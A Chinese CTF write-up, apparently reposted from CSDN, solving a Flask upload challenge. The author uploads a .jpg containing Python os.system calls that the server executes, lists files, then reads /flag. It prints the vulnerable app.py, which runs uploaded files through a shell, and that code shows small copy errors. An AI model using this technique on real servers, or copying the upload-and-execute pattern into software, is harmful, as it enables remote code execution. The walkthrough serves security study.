栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Flask

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Flask

系列文章目录

开始打好基础非常重要的
曾经辜负一个人是我此生最大的错误


文章目录
  • 系列文章目录
  • 关于 Python 后缀名知识
  • 一、查看页面源代码
  • 二、上传 Python 代码的文件
    • 1.查看目录结构
    • 2.查看目录中的文件
    • 三、查看 flag
  • 总结


关于 Python 后缀名知识

总结:

  • .py : 通常编写的源代码的后缀
  • .py3 : Python3 脚本,不过也不常用
  • .pyc : 编译好的字节码,如果导入一个模块,python 将会生成一个 *.pyc 包含字节码的文件,以便再次导入他更容易,当然 .pyc 文件也可以使用 Easy Python Decompiler。 转换为 .py文件
  • .pyo : 这是在优化时创建的 *.pyc 文件,从 py3.5 开始,python 只适用 .pyc 而不是 .pyo
  • .pyd : 这基本是一个 windows DLL 文件
  • .pyi : MyPy 存根
  • .pyw : 使用 pythonw,exe 执行的 Windows 的 Python 脚本
  • .pyx : 将 Cython src 转换成 C/C++
  • .pyz : 这是一个包含标准Python脚本头之后的二进制形式的压缩 Python脚本(ZIP)的脚本
  • .py [cod]:.gitignore中的通配符表示该文件可能是.pyc,.pyo或.pyd。
  • .rpy:包含应用程序或框架特定功能的RPython脚本或Python脚本。
  • .pyde:处理使用的Python脚本。
  • .pyp:Py4D Python插件。
  • .pyt:Python声明文件。

提示:以下是本篇文章正文内容,下面案例可供参考

一、查看页面源代码


一般看到前端 js ,产生的第一个想法就是把 js 代码删除,万一没有后端验证呢
显然这道题没有,修改请求中文件名字、MIME 类型都已经修改过了,没有用,但是源代码中提示到我们使用的是 python 代码,这时候我们可以使用 上传 python 代码的 jpg 文件

二、上传 Python 代码的文件 1.查看目录结构

上传一个 1.jpg 文件,内容如下

import os
print(os.system('ls ./'))

返回结果:

2.查看目录中的文件

查看 app.py

from flask import Flask, render_template, request, render_template_string
from werkzeug.utils import secure_filename
from subprocess import getoutput as shell
import os

// 在此出可看到一个 /flag 的名字
app = Flask(__name__) #在当前文件下创建应用
app.config['UPLOAD_FOLDER'] = 'upload/'  # app.config['UPLOAD_FOLDER']定义上传文件夹的路径
shell('echo $FLAG > /flag')  # 输出 flag

@app.route('/')
def upload_file():
    return render_template('index.html')


@app.route('/uploader', methods=['GET', 'POST'])
def uploader():
    if request.method == 'POST':
        abs_path = os.path.dirname(__file__)
        f = request.files['file']
        filename = f.filename
        if '.' in filename:
            prefix, suffix = filename.split('.')
            white_list = ['py3', 'jpg', 'png']
            if suffix in white_list:
                f.save(os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(f.filename)))
                try:
                    content = str(shell('python3 %s/upload/%s' % (abs_path, filename)))
                    if "%" in content:
                        content.replace('%', '')
                except Exception as e:
                    content = str(e)
                html = 'file uploaded successfully!' % str(content)
                return render_template_string(html)
            else:
                return "The file is not allowed to upload!"
        else:
            return "The file is not allowed to upload!"

    else:
        return "Method Not Allowed"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=True)0 
三、查看 flag

我们继续提交数据

import os
print(os.system('cat /flag'))


得到 flag

总结

借鉴的文章:
过关文章

  http://t.csdn.cn/yZuJx 	  
  http://t.csdn.cn/aEY4m

额外知识点:

Flask 框架
SHELL()函数

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/965851.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号